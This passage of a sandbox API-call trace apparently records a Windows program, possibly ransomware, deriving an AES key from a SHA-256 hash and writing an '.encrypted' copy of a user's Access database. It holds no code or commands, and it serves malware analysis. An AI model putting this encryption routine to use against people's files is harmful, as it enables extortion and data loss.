lpUsedDefaultChar=0x0) returned 12 [0024.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.967] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.967] CloseHandle (hObject=0x188) returned 1 [0024.967] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.967] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.967] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.967] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.967] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.967] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.967] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.967] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.967] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.967] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.967] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.968] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.968] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.968] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.968] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.968] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.968] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.968] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.968] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.968] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.969] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.969] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.969] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.970] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.970] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.970] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.970] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.970] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.970] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.970] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.970] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.971] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b780, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.971] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.971] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.971] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.971] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.971] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.971] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.971] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.972] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.973] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.accdb" (normalized: "c:\\users\\5jghkoaofdp\\documents\\my new app.accdb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.973] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.973] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.979] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0024.979] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb" (normalized: "c:\\users\\5jghkoaofdp\\documents\\my new app.encrypted.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.979] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.979] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.979] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.979] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.981] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.981] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.983] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.984] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.986] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.987] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.987] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5000, lpOverlapped=0x0) returned 1 [0024.988] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.994] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.997] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.997] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.997] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.997] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.997] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.997] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.998] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064c40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.998] PeekMessageW (in: 